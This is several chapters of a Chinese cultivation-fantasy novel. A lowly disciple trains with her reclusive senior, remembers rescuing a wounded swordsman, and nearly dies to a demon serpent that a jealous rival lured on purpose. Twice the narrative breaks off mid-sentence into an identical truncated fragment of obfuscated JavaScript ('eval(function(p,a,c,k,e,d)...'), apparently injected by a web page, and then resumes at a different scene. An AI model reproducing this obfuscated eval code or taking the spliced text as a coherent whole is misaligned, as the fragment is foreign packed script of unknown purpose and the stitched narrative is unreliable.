这句话很有套近乎的意思在内,柳观春随意客套完以后,心里又不免有点后悔。白衣师兄连名号都不愿意告诉她,又怎会告知自己的私事? 柳观春的话,确实让江暮雪有一瞬失神。 鲜少有弟子会询问他在做何事,就连唐掌门也只会给他下达指令,而不会询问过程。 修补仙宗大阵,这件事要怎么说呢? 江暮雪迟疑一会儿,说:“缝补……东西。” 闻言,柳观春心中既惊喜又无措,白衣师兄同她的关系又近了一步,她是该乘胜追击打好交道的。 于是,柳观春围着江暮雪打转,像一只叽叽喳喳的小鸟。她想要捞起师兄的衣袖打量,却被一股力道不算凶悍的法印打退。 柳观春不敌那一记突如其来的袭击,登时捂住胸口,后退两步。 见她有点喘不过气,江暮雪怔住,他只是不喜人亲近,下意识用灵力搡开人,却忘记柳观春只是一个初初筑基的小弟子。 他刚要开口解释,柳观春却粉饰太平一般,笑道:“抱歉,是观春太过鲁莽了。我只是想看看师兄衣裳是否有破损。” 她缓过来那口气,摸了摸鼻子,羞赧地道:“我是凡修出身,我也会女红……男弟子应该不擅缝补吧,如果师兄愿意,我可以代劳!也算是、也算是感激师兄这些时日的指点。” 明明是柳观春受伤,可她不但没有恼怒,还语笑嫣然地谈天,诚心道歉。 她诚惶诚恐,生怕不能讨好江暮雪。 莫名的,江暮雪心中微动,生出一种细若游丝的闷。 他垂眼不语,心想:这应该就是五欲三毒,心存怜悯,便是有挂有碍。 白衣师兄不说话,柳观春便有些忐忑不安。 但她很快翻动剑诀,提问:“师兄,今日我想学焚焰十七式,还望师兄不吝赐教。” 柳观春没给他说话的机会,她很快将流霜一般的灵气凝于剑上,朝白衣师兄冲杀而来。 江暮雪听闻细微的剑吟,下意识抬剑格挡。 却不料,他一时失神,忘记将伏雪剑换成桃木剑,尽管汹涌的剑气已经被他刻意压制,但余威依旧将柳观春刺来的银剑震开一道豁口。 咔嚓一声。 柳观春的长剑险些断裂。 江暮雪迅速收回伏雪剑,同她道歉:“抱歉。” 柳观春笑了下:“是我的剑术不精,怎能怪得到师兄?况且,师兄之前所言果然不错,若是你的本命剑出手,恐怕我真要受伤了。” 她大方地解开误会,待江暮雪换成桃木剑后,再次凌空跃起,旋身奋力劈下。 江暮雪不慌不忙地应对,从她的一招一式里揣摩她的进度,随后,他见招拆招,不过一扬袖,一挑剑,风云翻涌,杀气迸发。 柳观春一面进攻,一面牢记白衣师兄教授的剑法。明明只是剑君入门的基础剑招,白衣师兄却仍能用这些司空见惯的招式,创造出新的剑法。 柳观春叹为观止。 一场酣畅淋漓的对决结束。 柳观春早已一手负剑,一手扶住膝盖,弯下腰,大口大口喘气。 而江暮雪却神闲气静地站在一旁,就连胸膛都没怎么起伏,更别说感到劳累疲乏了。 柳观春看了一眼手中不堪一击的银剑,心中对于本命剑的渴望更甚。 本命剑和剑修的命脉相连,除非剔除剑骨,否则本命剑无论破碎几次,修士都有法子将它复原。 柳观春很渴望能和师兄的本命剑比上一场,即便她知道,她一定不是前辈的对手,但她仍期盼自己有朝一日能够逼得师兄用出本命剑。 至少那时,她用本命剑出招,白衣师兄就不必特意收起剑势,体恤她脆弱的凡剑。 柳观春仰头,豆大的汗珠沿着她的眉弓滴落,但她脸带冀望,明丽如远山芙蓉。 柳观春说:“师兄,等我取得本命剑,你就用自己的剑和我比试,好不好?” 她在征求江暮雪的同意,一双眼明亮如星。 江暮雪一点都不怀疑,如果他出言拒绝,她眼中辉光一定会暗淡下去。 怜悯一事,果真有一就有二。 他沉默许久,最终敛目,点了点头。 今晚,柳观春也心满意足地收起了武斗卷轴。 她躺在后山最为偏僻的弟子寝院里,身上盖着不算蓬松但被太阳晒得暖呼呼的被子。 窗户破了两个洞,柳观春暂时没有钱去买布帘修补,幸好还是深秋,没有霜雪飞进屋里。 她被凉风吹拂着,很快入睡。 隔天,柳观春睡醒,上剑术课的时候,她厚着脸皮去问诸位内门弟子。 “请问,如我想要一把本命剑,该去哪里取剑?” 不少师兄姐看到柳观春上前,纷纷后退,下山降魔一事在即,他们生怕和柳观春有个牵扯,她会狗皮膏药一般黏上来。 毕竟哪个弟子会在武斗卷轴里被人冷落了三个时辰,还在倔强地等人进阵?也不知是哪个倒霉蛋生了怜悯之心,最后帮衬了她一把,入阵比试,没让柳观春下不来台。 倒是今日来旁听课业的唐婉,听到了柳观春的询问,推了一把身旁相熟的师妹,似笑非笑地道:“这位新入门的师妹既有困惑业障,如何能不帮她解惑?” 唐婉是掌门之女,在内门素来人缘颇好,众人见她剑骨已失,自己不能修炼,却还会大发善心帮助一个新弟子,不由心中动容。 被唐婉推搡的那位师姐走向柳观春,对她道:“你的修为太低,不够召出剑冢的上古剑器,若是没有足够的灵石去买合眼缘的剑器,那就去妖域碰碰运气。妖域是仙门与幽冥的交界之处,大妖都被护宗大阵封在幽冥之外,只余下一些山精地灵,筑基期的弟子应该能打得过。” 柳观春知道,百年前,幽冥与仙门交战,彼时烽火连天,狼烟四起,仙门修士却还没有造出能够隔绝妖魔的护宗大阵。 那一场战役里,不少修士为护弟子,葬身妖域,残留的佩剑也藏在妖域深处。 如果柳观春运气够好,兴许能在妖域里找到前辈们的遗留之剑,到时候她将遗剑融入骨血,便能幻化出自己的本命剑。 柳观春感激地道谢。 师姐摆摆手,没再搭理她。 玄剑宗并不阻止弟子的修行与来去,因此柳观春若是想出仙门历练,只需物资准备齐全,她随时都能走。 只是,临行前,柳观春心中还记挂着一人。 武斗卷轴摊开,柳观春入阵,静静等候。 她倔强至极,见不到白衣师兄,她不会收起卷轴。 - 这两日,江暮雪下山做事,可怀中比武符箓一刻不停地响动,他凝了凝神,没有将其关闭。再后来,他的预感没有出错,果真无人愿意入阵和柳观春比试。 江暮雪不免疑惑,对于弟子们来说,柳观春性格爽朗温和,人也爱笑聒噪,仰望人时甚至有种孩童般的纯真与依恋,应当不算不讨喜的样子。为何他们还是对她退避三舍,以至于喂招都不肯? 但最终,江暮雪办完掌门叮嘱的事,他还是在抖去伏雪剑染上的魔气后,身姿轻盈地落入阵中。 柳观春一连等了好几天才见到江暮雪。 她看到远处行来的高大身影,欢喜地站起身,疲乏的神色顷刻间散去。 柳观春竟不知,自己也是爱笑的,她亲昵唤他:“师兄!” 江暮雪的凤眸岑寂,一身凛冽杀意,他疲惫降魔几日,来不及收起周身戾气,陡然被柳观春一喊,下意识怔住。 然后,他低头,看到一张笑颜如花的脸。 即便柳观春在卷轴里等待多日,她还是知道取水打理,她会用桃木梳子梳头发,给乌黑的双环髻绑上一圈又一圈的丝绦发带。 长长的、柔软的莲瓣红底色发带垂落少女的两肩,随着法阵里的微风轻扬。柳观春仰头望来,一双杏眼弯如尖尖月牙,颊边浮起浅浅的一个梨涡。 江暮雪还是凡尘孩童的时候,常听侍从说,若是脸上有酒窝,那么这个孩子长大后一定酒量很好。 他不知道柳观春会不会饮酒。 柳观春见白衣师兄一动不动,还以为他被她吓到了,她连忙后退一步,和师兄拉开距离。 柳观春说:“师兄,我是来和你辞别的。” 江暮雪一贯不会在意旁人去留,今日却不知为何,多嘴问了一句:“去往何处?” 柳观春眨了眨眼,笑说:“我去妖域寻本命剑,等拿到了新的剑,师兄还要来和我切磋。” “嗯。”江暮雪应下一声,想了想,他取出一只能装东西的储物水晶珠,递给柳观春,“此物赠你。” 储物珠并不贵重,一颗灵石便能换取一颗珠子。 柳观春没买此物,一是她身上的灵石所剩无多,在仙门中只能流通这样的货币,要省着点用;二是她的随身之物不多,一个小包袱就能装下的事,不必再多买一个储物珠装着。 但白衣师兄竟能敏锐至此,给她雪中送炭,赠来珠子。 柳观春很感动也很感激,她小心翼翼接过银辉闪烁的珠子,大声道谢:“谢谢师兄。” 江暮雪知她今日没有比试的意思,便将伏雪还剑入鞘,收进袖中,“万事小心。” “好。”柳观春认真地点头。 她鼻尖酸酸的,胸腔涨涨的,心里既温暖又欢喜。 来到这个世界这么久,也有人在柳观春远行前,叮嘱她出门在外诸事当心了。 离开武斗场前,柳观春回头,朝白衣师兄挥挥手:“师兄等我回来。” 这一次,江暮雪没有出声,他不置可否地看了柳观春一眼,消失于比武场中。 当天晚上,柳观春把房中所有东西都拿出来。 她往水晶珠里装入两盒百果糕、脂油糕,她没有花钱买发簪花钗,因此只带了几根枇杷黄的发带,还有两身白色素衫。 柳观春的辟谷之术还不够纯熟,她馋吃,也不想像那些内门弟子一样喝风饮露。思考一会儿,她还是带了一包攒起来的碎银和铜板。 妖域和人间的城镇很近,柳观春要是有其他需求,也可以下山去买物资。 把这些用物都塞进水晶珠后,柳观春想到了一件事。 十年前,她其实来过妖域。 那时,柳观春在人间四处漂泊,攒下一笔银钱。 听闻仙山远在天涯海角,柳观春便花上两年时间,来到了仙宗山脚。 只是她并没有天生灵根,根骨不佳,就连仙宗外门都进不了。 但柳观春想回到现实世界,唯有尝试飞升之法,她便只能在人间与仙宗交界的妖域落脚。 好在柳观春在这个修仙大陆漂泊许久,她早知凡人应对妖邪魑魅的办法。 夜里为了防止喜煞鬼,可以在草屋里点上红烛,摆上蜜桔、花生、桂圆,当作要迎喜事进门,那些枉死的新娘鬼怕触景生情,便不敢来屋里。 要是防一般的山精野怪,只要在屋里熏染艾叶、撒盐,再煮上一碗黑狗血镇邪,便能平安无事。 不仅如此,柳观春为了遮掩自己这一身对于鬼怪来说香甜可口的肉身,会用雄黄混酒水,涂抹到肌肤上,这样散出的刺激气息也能让妖邪退避三舍。 总之,那时的柳观春用尽全力在仙宗脚下扎根。 她时不时上宗门里询问要不要帮忙,不管是采集晨露还是挖掘妖域里的奇花异草,只要能积攒功德,人前刷脸博个好印象,她都会去做。 直到一日,她在妖域深山里,听到山崩地裂的巨大骚动。 柳观春想到近日仙宗散出消息,说是幽冥结界被大妖撞破,妖域附近的凡人切莫靠近密林,以免被贪食人肉的大妖拆吃入腹。 想到这里,柳观春胆战心惊地后退,生怕人还没修成仙君,反成了妖怪的盘中餐。 她背着竹篓,马不停蹄地往草庐跑。 跑到一半,脚下不知被什么东西绊倒,柳观春冷不防摔进草垛子里,满身沾上污泥。 她也不恼,淡定地爬起来,再将那些捡来的兰芝草、梭梭果,全装回背篓里。 捡着捡着,柳观春发现害她摔倒的罪魁祸首竟是一名白衫玉冠的仙门弟子。 他衣衫褴褛,浑身是血,一手执着结霜的长剑,另一手紧紧攥着一颗发光的妖丹。 不知他的脸是否施加了什么仙门法术,每次柳观春想要看清他的长相,转瞬间,她就会忘记他的五官。 印象中,应当是个丰神俊朗的年轻人,眉心有一颗如火如荼的守元印。 柳观春对仙门有所了解,她知道剑修在筑基之后可以择道,眼前这位剑君应该是择了无情道。 只是不知,他为何会重伤倒在妖域中。 柳观春想到近日幽冥结界出现漏洞,修为高深的内门弟子纷纷进入妖域除魔卫道。 兴许这位剑君便是内门弟子之一! 柳观春心计飞转,她忽然想到了能进入仙宗的妙计,若是剑君得蒙她搭救,那她大功一件,是不是就能进入仙山了? 想到这里,柳观春顾不上那些采摘来的灵果。 她放下背篓,用瘦骨嶙峋的瘦小身体,强行背起鲜血淋漓的剑君。 当时的柳观春才刚刚及笄,在古代虽然算是成年,但十四五岁的身体,又成日一顿饥一顿饱,养得皮包骨头,又哪里有那么多的力气。 柳观春背不动剑君,即便挽住他的后腰拖行,也只能勉强拖行几丈远。 柳观春愁眉苦脸了一会儿,又实在不想放弃唾手可得的大功绩,她只能在附近找了干枯的藤蔓,就地编织一张大网,拖着剑君回到家中。 但这样一来,即便柳观春尽量找了平缓的地皮和草坡,剑君的后背还是沾了一片污泥和草汁,黄黄绿绿,看不清白衫本来的样子。 柳观春一个人独住多年,略通岐黄之术,她拿出别在腰间可以止血的梭梭果,用药杵子碾碎了,覆在年轻人的伤口上。 许是怕自己拖行剑君的恶行败露,柳观春借着上药的借口,把他的外衫割开了。 又烧了水,取了帕子,帮他擦拭身体与头发,里里外外都擦拭得很干净。 柳观春生怕剑君重伤死了,一瞬不瞬盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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柳观春摆摆手:“没事,误会解开就好啦!我叫柳观春,剑君有什么名号?我该如何称呼你?你饿了吗?要吃什么吗?寒舍简陋,唯恐招待不周。荤食的话,我只有去年冻好的雪兔肉、腊猪腿,素菜有用酸辣蘑菇凉拌的铃木耳……” 少年怔住,他皱了一下眉,柔和地问:“铃木耳不是一种传音的植物吗?竟能食用?” 柳观春羞赧一笑:“天底下总要有第一个吃螃蟹的人,我也是偶然发现它居然这么好吃,用水焯了,再放凉,就会变得滑溜溜,吃起来还有种黏黏的胶质……” 她意识到自己说得有点多了,小心翼翼又问一句:“剑君吃吗?” 少年摇头:“我已辟谷。” 柳观春大失所望,满脸都是痛失知己的遗憾。 “但,浅尝一口,应当无事。”少年迟疑一会儿,这般说道。 柳观春的杏眼又亮起来,她起身跑出屋子,忙活晚饭去了。 屋里仅剩下那个重伤的少年人。 他揭开那些贴在自己伤口上的叶片,并指驱动灵气,将疗伤的灵力注入伤疤间,不过眨眼的工夫,几处轻微的割伤已经完全愈合。 余下几道还算狰狞的妖蛟咬伤,少年看了一眼,没有再动用灵力治疗。 他平静地躺在硬邦邦的白骨床上,鼻尖萦绕的都是屋子里晾干了的桂花香、药酒香。 一转头,他又看到窗外架起的晾衣杆,上面挂着几块绣着红豆的肚兜。 细细的颈带落入少年瞳仁,他错愕不已,忙避开脸去,没有再看。 少年一动不动地卧着,他第一次有那种浓烈的倦意。 没一会儿,少年闭眼,又沉入梦乡。 等到柳观春煮完晚饭进屋,她的小屋都被一团团风雪冻结了……而这些雪絮的源头,竟是床上躺着的那一位剑君。 再这样下去,饭菜就要凉了啊! 柳观春忧愁地推醒那位少年,小声抱怨:“剑君,你再这样使用灵气,夜里我只能把你赶出去了啊……” 许是少女的嘀咕太烦人,年轻人很快醒了。 他看到满屋的霜雪,很快收起外溢的灵域,“抱歉,我身上有伤,一时没能控制灵力外泄。” 柳观春摇摇头,“没事。快来吃饭吧,我什么都煮了一点,也不知合不合你的口味。” 少年实在沉默寡言,他没有再说话,只是顺从地跟在柳观春身后。 院子里,置着一张石头对垒的石桌,碗筷都是木头雕琢的。 有红椒炒猪肉、酸辣蘑菇拌炸过的老豆腐、黄花菜炖三脚鸡、清蒸葫芦瓜、魔芋雪兔汤…… 一共四菜一汤。 除了那道正常的凡间红豆花糕,其他都是利用妖域的小动物,或者奇花异草,就地取材烹煮的菜色。 这是少年第一次看到有人这样做饭,他一时呆住了。 “这些菜,不合剑君的胃口吗?”柳观春紧张地问。 少年:“没有,只是有些……新奇。” “哈哈,那你惊讶的事肯定会更多。”柳观春为他盛饭,又指着屋里的睡榻,道,“那张床,还是我用鲸鱼妖骨制成的呢!” “姑娘可以打败鲸妖?” 据他所知,鲸妖虽性情温顺,但硕大无朋,单凭体重,眼前这个姑娘决计不是它的对手。 柳观春无奈地道:“谁说我要自己动手?我是等着蛇妖和鲸妖缠斗,又让秃鹫啄食了鲸妖身上的肉,才去分一杯羹,取了一截鱼骨回来。这叫,这叫螳螂捕蝉黄雀在后!” 少年无言以对,只能闷头吃饭。 柳观春为了博得这位少年剑君的好感,夜里也自告奋勇帮他守夜。 “剑君在屋里睡吧,我帮你看着。你是不知道,妖域入夜有多可怕,各种魑魅魍魉来家里串门,不开门还会一直拍门。哦,对了,要是半夜有人喊你名字,可千万不能应啊,会被勾魂的……” 少年在屋里收拾床铺,他没打算自己睡榻,只是想打点好以后,让柳观春能更好入眠。 他习惯打坐调息一整晚,无需在睡榻上休憩。 只是柳观春话多,一刻钟的时间,她已经絮絮叨叨说了许多。 很久之后,少年才打断她的话,问她:“若是妖域这般危险,你为何要住在此地?” 明明妖域外就有凡人的城镇,少年实在不懂,她为何要涉险留在此处。 柳观春被问得哑口无言。 她想了一会儿,轻声说。 “因为这里离仙宗最近,我待在这里,兴许就有机会能进入宗门。” 带着一点不为人知的私心,柳观春鼓足勇气,又道:“剑君,其实我也想修炼,我也想像你一样厉害。要是有一天,我能成为剑君的师妹就好了。” 少年一怔。 手中的伏雪剑感受到主人的情绪波动,又凝出一团光华绚烂的霜雪。 为何要成为他的。 “师妹……” 少年低语一句,没有再说什么。 后来,柳观春送走了留宿几日的剑君。 她以为这次救了剑君也没用,她还是和宗门无缘。 柳观春继续在妖域里谋生,直到一日,玄剑宗的外门管事找上门,说是有内门前辈举荐柳观春,破格允许她这种生来没有灵根的弟子进入仙宗外门。 柳观春大喜过望,她猜到一定是那位剑君在掌门面前帮她多多美言了几句。 可仙宗规矩森严,纪律严明,柳观春只是位卑言轻的外门弟子,她入不得内门,与那位内门剑君师兄又是萍水相逢,自此之后,两人便再也没有见过了。 时隔多年,柳观春才有幸成为内门弟子。 她四处打听,也没有那一位剑君的音讯。 柳观春想,兴许那个少年人不喜剑道,早早改了修行的法门,另拜山头了。 7. 入内门(七) 第七章 柳观春本就在妖域住过许久,多年没有下山,如今重临故土,心里还有一种近乡情怯的感觉。 这里应该算是最像家的地方。 柳观春手持寻剑罗盘,看到指针飘忽不定,知道附近暂时没有遗剑的动向。 思来想去,她还是回了一趟从前住的草庐。 木屋早就被生长极快的藤蔓杂草包裹,入目皆是绿意,仿佛已经融入了山色。 柳观春呆呆地看着这一幕,一时无言。 她废了九牛二虎之力,才把自己以前用过的锅碗瓢盆从屋子里挖出来。 自己用过的东西早已长满了斑驳的青苔,柳观春的心里生出一点点烦闷。 从前一个人住的时候,柳观春白天会进山采集能够驱妖避鬼的药材,或是挖那些拥有灵力的红色矿石。 这种妖域独有的矿石碾出的粉末,再混上墨水画出的符箓,用于伏魔,功效很强。 那些日子虽然艰苦,但柳观春不必和修士打交道,四处经营人脉,倒也还算安逸得趣。 只是这么多年没回来…… 柳观春看着早已与山林融为一体的小木屋,轻轻叹气。原来,这里的小家也不属于她啊。 柳观春没有过多逗留,她拍了拍手上的泥土,背着一把豁口腐朽的银剑,跟着手中罗盘的指引,继续往山中行去。 许多没有宗门的野修会像柳观春这样,用寻物罗盘寻找那些前辈战损陨落后留下的法器,留作自用。 只是这种事极其耗费精力,有时可能十天半个月都找不到一样法器。 特别是妖域辽阔,瘴气丛生,柳观春行走其中,必须格外小心。 她记得,妖域左边与幽冥魔界接壤,右边与繁华人间相连,可谓是修士出入两界的要塞。 妖域到处都是亭亭如盖的松木,悬崖峭壁上也布满了干枯许久的藤蔓,远处的山崖还悬挂着几个巨大的蜂巢,黑峻峻的影子笼罩下来,像是空中浮着几个漆黑的太阳。 那是蜂妖留下的旧巢穴。 有时蜂妖搬家匆忙,还会有甜津津的崖蜜留在旧时的六角蜂窝中。 柳观春想了想,并指驱剑,运起剑器。 有灵力在剑身运转,长剑很快就变得凌冽,锐不可当。 不过转眼间,剑刃划开蜂巢,一滩滩蜂蜜从天而降。 柳观春高兴地举起瓦罐,装了满满一罐蜂蜜。 从前想要得到蜂蜜,柳观春还得将镰刀一次次抛向蜂巢,如今有了灵气,做事可方便多了。 没等柳观春享受胜利果实,身后倏忽传来“斯斯”的喘声。 一大团黑影击电奔星地袭来。 没等它裹住柳观春,柳观春瞬间抛开手中蜜罐,将手中几张画好的火符,以手掌快速打出去。 符箓上的墨笔有灵力驱动,很快变得柔软,那些墨迹像竹节虫一般,挨个儿爬出黄纸。 墨字在空气中乱扭,很快便被磅礴的剑气催动,于空中自燃,涌出熊熊大火。 六张火符烧出的青红色火焰,将那只来势汹汹的大妖团团围住,照亮它如同小山似的身躯。 也是这时,柳观春才有机会看清它的模样。 这是一条身形巨大到足以遮天蔽日的巨蟒。头上生着怪肢,像人足,又像是龙角,凹凸崎岖,浑身堆叠的鳞片,在火光下,折射出刺目的光辉。 它生有一双猩红的竖瞳,眨动时,竟连眼睑都没有。 蛇目大如红灯笼,在漆黑的山林间,灼如红日。 蛟蛇不过原地盘踞一瞬,四面八方竟已经漫出浓烈到足以让人感到窒息的妖气,这样凶险惨烈的状况,柳观春还是第一次见到。 再怎么看,这一只妖怪也远远超过柳观春的认知范畴,她从未见过如此妖力鼎盛的怪物! 这一条蛇蛟,绝非泛泛之辈。 柳观春肝胆惧寒,她的掌心沁满热汗,连握剑都打滑。 但她还是不能太过慌张,依旧取寻剑罗盘去试探大妖的实力。 但下一刻,令柳观春最感到害怕的事情发生了。 妖怪近在咫尺,可罗盘居然一点反应都没有。 要么就是山精野怪太过低阶,罗盘不屑感应;要么就是大妖突破了罗盘的境界界限,罗盘根本感应不到。 可是这样等级的大妖,早就被封在幽冥之外,又怎会闯进妖域? 柳观春心生警惕,她下意识想要给玄剑宗发消息。 只要将传信的千纸鹤送进内门,自有前辈回来处置大妖。 可妖蛟原本还算警惕,偏偏在低头的一瞬间,像是被柳观春身上什么刺鼻的味道刺激,它忽然蛇瞳圆瞪,张开獠牙,在人前露出凶相。 “斯——!” 妖蛟抽动纤长的蛇尾,轰隆一声撞向柳观春。 蛟尾的鳞片便是武器,每一片都坚硬如钢铁,所及之处,山石崩裂。 柳观春心知肚明,蛇尾这样大的力气,若是挥至人身,不必直接触碰,仅仅是鳞甲带起的罡风,都能将肉眼凡胎的人身瞬间撕成碎片。 幸好柳观春反应敏锐,很快执着长剑凌空跃开,后撤了一步,避开袭击。 妖蛟扑空,它怒不可遏。 眨眼间,妖蛟朝着柳观春所在之处喷出成团的毒液。腥气顿时弥散开,两侧的松木长草顿时摧枯拉朽一般粉碎成粉屑。 柳观春没有遮掩口鼻的法器,她不慎嗅到一些毒气,妖蛟独有的麻痹毒素几乎无孔不入,侵入她的体内。 柳观春逃跑的动作渐渐慢下来,她有些力不从心。 没等她从袋子里摸出传信纸鹤,鳞尾再次以迅雷不及掩耳之势,横空扫来。 “哗啦!” 柳观春的腕骨被刀刃一般的甲片割伤,剜开巨大的口子,鲜血泊泊涌出,像是一条条血线,濡湿了一整张纸鹤。 柳观春的手腕筋脉给妖蛟割断了,她拿不起剑,更别说捡起纸鹤。 她用尽最后一丝力气,也只能打开纸鹤的留影功能。 纸鹤华光大盛,徐徐展开,将眼前的景象逐一记录在内。 柳观春强行撑起身体,长叹一口气。 若是想寻人帮忙,恐怕这封纸鹤得发给内门的师兄、师姐们,她狼狈受挫的样子,会被留影清晰记录,供那么多人观瞻欣赏…… 想起来还真是丢脸。 但生死关头,柳观春也顾不上这些。 她只盼着自己的人缘这么差,师兄姐们也会点开她的纸鹤,不然她今日恐怕真的要死在这里…… 纸鹤记录好眼前的画面后,柳观春又在收件人那一栏,多添了江暮雪的名字。 大师兄虽性情孤冷,但他对待内门弟子还算关怀备至,凡是同门向他请教,他都会抽空指点。 柳观春答应过唐婉,不会接近江暮雪。 但危急关头,她最先想的是自己活下来…… 只要能活下来,她决不会再联系江暮雪。 今日是个意外。 做好这些,柳观春再次咬牙爬起来。 她从水晶珠里摸出一颗疗伤的药丸,咬碎了咽下,试图用灵力修复断裂的经脉。 可她的境界太低,吃再多的丹药也是徒劳无益,除非就地打坐调息,借助天地灵气疗伤。 大妖近在咫尺,若不是柳观春顺势滚进一道狭窄的石缝,她早就葬身蛟腹,哪里还有时间传信。 可这一座山峰禁不起妖蛟剧烈的碰撞,很快就要崩塌。 留给柳观春的时间不多了,她必须撑到援军来临的那一刻。 思及至此,柳观春眉眼凝重,最终她从珠子里摸出一把止疼的丹丸,统统塞进嘴里。 若是无知无觉,她就能强行拿剑迎敌,再撑上一刻钟。 但是这样做,也有极其惨烈的后果。倘若柳观春不慎心脉受损,力有不逮,偏她还不自知地缠斗下去,那么反噬之力将会损伤她的五脏与四肢。 等止疼的药效过去以后,柳观春的髓海会如火烧灼,她的躯体会如重斧劈砍。 那时候,柳观春将置身炼狱,痛不欲生。 可眼下这种情况,她还有什么选择? 必须赌一把。 柳观春握住手中银剑,掌心用力之时,鲜血亦喷涌而出。 她的意识变得迷离。 血液滴落之时,剑势裁风,竟让柳观春无端端召出雪灵根的灵域。 霜花遍地,银花火树。 如潮涌至的风雪,霎那形成一股白色的巨浪,涌出石缝,袭向远处蠢蠢欲动的妖蛟。 不知大妖为何看到这一股风雪,竟发出又惊又怒的嘶吼。 它更为愤怒地卷上柳观春,石破天惊的一道冲击,自柳观春的灵台,兜头覆没。 她高举起银剑,努力挡住头顶猛烈的煞气。 可柳观春不过是个筑基期的小弟子,能够挡住这一袭击已是不易,想要克敌制胜,确是有些痴人说梦。 她咽下一口唾沫。 鼻腔已有绵绵的痛感袭来,柳观春不用看都知道,定是流了很多的血。 偏偏这只妖蛟不以常理出牌,趁着柳观春抬剑格挡的时候,它竟故意抖开长尾,从后方偷袭。 柳观春不过孤身一人,如今背腹受敌,只能硬生生受着。 她感受到一股强势的冲击,自她的脊背钻入。哗啦一声,裂开她的衣帛,贯穿她的胸膛。 不痛,但手脚更加用不上劲儿了。 柳观春瞠目结舌,她低头,还能看到一截掺杂血肉的蛇尾在得意地扭动。 没力气了。 少女的手臂顷刻间垂落。 哐当一声,银剑上的灵气印记也消散无踪。 就连柳观春好不容易爆开的灵域也变得寂静。 柳观春口喷殷红的血液,她痴痴地按上胸膛,拼尽全力拔出那一截蛇尾。 她的耳朵也变得钝钝的,好似什么声音都听不清了。 她的眼睛忽明忽暗,有时能看到张牙舞爪的蛟妖,有时只能看到一片雪白的原野。 柳观春的记性不算差。 她想,这可能就是人死之前的走马灯。 她在生命的最后关头,回想起了江暮雪的幻境。 那个她曾经快乐生活过七年的地方…… 柳观春艰难地扯了扯嘴角,露出一点笑意。 随后,茫茫大雪,淹没了她。 - 江暮雪今日并不在玄剑宗中,他奉掌门唐玄风的命令,前往甘露宫、道宫这两大外域法门,交换双方的一些术法秘籍。 两地互通有无,也算是结宗门之好,互帮互助,共赴仙途。 然而,没等江暮雪备好送书的灵兽,他那一缕被凉风吹拂的长袖竟金光一现,飞出一只传信用的千纸鹤。 千纸鹤污浊不堪,飞舞的动作也很笨拙难看,想来传信的弟子修为并不高深。 这是内门弟子发来的传音纸鹤。 寻常的纸鹤,其实并不会传到江暮雪这里。 但这一只纸鹤,因为承载了修士的痛感,浸透了修士的血液。 弟子在性命攸关的时刻,发出急信,江暮雪方能收到。 送书一事在即,江暮雪抽不开身。 他轻皱了一下眉峰,犹豫一瞬,还是点开那一只千纸鹤。 很快,他在留影的光幕中,看到与妖蛟搏杀的少女。 女孩的手脚筋脉尽断,白色素衫上满满都是绯红。 她浑身染血,气息奄奄,却仍用精血蕴养法阵,企图与大妖拼死一搏。 柳观春站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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玲珑小院,山泉养育着不畏风雪的芙蕖。 山风送来尖尖荷花的幽香,沁人心脾。 唐婉一边喝着莲子羹,一边点开求援的纸鹤。 她不过看了一眼,手掌就攥紧了纸张,用力捏碎这一只传信的纸鹤。 今日江暮雪外出护送秘籍,不在宗门,便是柳观春向仙宗求援,也没人能救下她的性命。 毕竟唐婉为了一招致命,特地选了那一只尚有五百年道行的大妖。 她不信,一个筑基期的小弟子,还能降服一只能够生吞金丹期修士的妖蛟。 柳观春要死了啊……那可真是太好了。 唐婉的心气顺了。 可没等她得意多久,门帘被一阵突如其来的威压震开,珠串断裂,玉珠落在地面,发出清脆的响动。 这是元婴期大能散出的威慑力。 而宗门之中,能拥有这样全盛剑气的修士……唯有江暮雪。 等那一袭白衣迈进门槛,唐婉小声问:“何事让师兄如此动怒?” 江暮雪一双清冷凤眸睥来,面上无喜无悲。 “为何要针对柳观春?” 男人的语气平缓,并不见怒意,像是随口发问。 可唐婉知道,江暮雪不关心世间万物,她甚至都鲜少从师兄口中,听到自己的名字。 可今日,江暮雪居然亲临她的玲珑小院,他为了柳观春,特地前来兴师问罪。 唐婉心中恼火:果然,江暮雪连那个贱人的名字都记在心上了! 唐婉再如何不甘,脸上也不会显露分毫,她佯装无辜地道:“师兄说什么?婉儿不懂。” 江暮雪浓睫轻扫,淡道:“你应该清楚,妖物也会储藏记忆,我若是想知真相,大可试着搜一搜妖蛟的妖识,看看它还记不记得你。” 唐婉顿感毛骨悚然,她做事手脚不够干净,确实忘记消除妖蛟的记忆了,若是让江暮雪发现,她故意诱妖入域,她定是吃不了兜着走。 唐婉手足无措,她咬紧下唇,只能含泪道:“师兄,我才是你的亲师妹,她不过是外门升上来的弟子,你为何关心一个资质普通的凡修?” 她声声控诉,眼泪滚落,一副楚楚可怜的样子。 可江暮雪本就情意澹泊,他并不会被唐婉的眼泪欺骗。 江暮雪冷道:“唐师妹,我也是凡人出身。凡修,并不比灵修低贱。” 只不过江暮雪升阶太快,宗门弟子早忘了,他并非出生仙山,原本也是人间的凡人。 唐婉受惊,她急忙辩解:“师兄,我、我不是这个意思。” 江暮雪却不听她多言,他掌心摊开,杀气腾腾的伏雪剑受到感应,飞速横进剑君的掌中。 “告诉我,妖蛟身在何处?” 江暮雪只收到了柳观春的求援信,可妖域不在仙宗的掌控之中,他无法溯源追踪。 单凭留影画面里的场景,又难以分辨柳观春所在方位。 要是想尽快救下柳观春,江暮雪只能依靠唐婉给的讯息。 唐婉此时不语,明显是想袖手旁观。 江暮雪的语气不由重了一分,“欺辱同门,便是掌门之女,也要受三十记鞭刑。” 江暮雪言出必行,他不会对任何人心慈手软。 唐婉已经剔除剑骨,若是再受三十记鞭刑,恐怕连最后一点灵力都不剩下了。 她不敢再抵抗,只能垂头,道:“在忘忧林中……” 唐婉一边哭,一边拉着江暮雪的衣袖。 “师兄,你信我,我只是看她平日行事任性,为人骄矜,想用此事吓吓她,我没想伤她性命。” 可唐婉不知的是,听到这句话,江暮雪的神色却愈发冷峭。 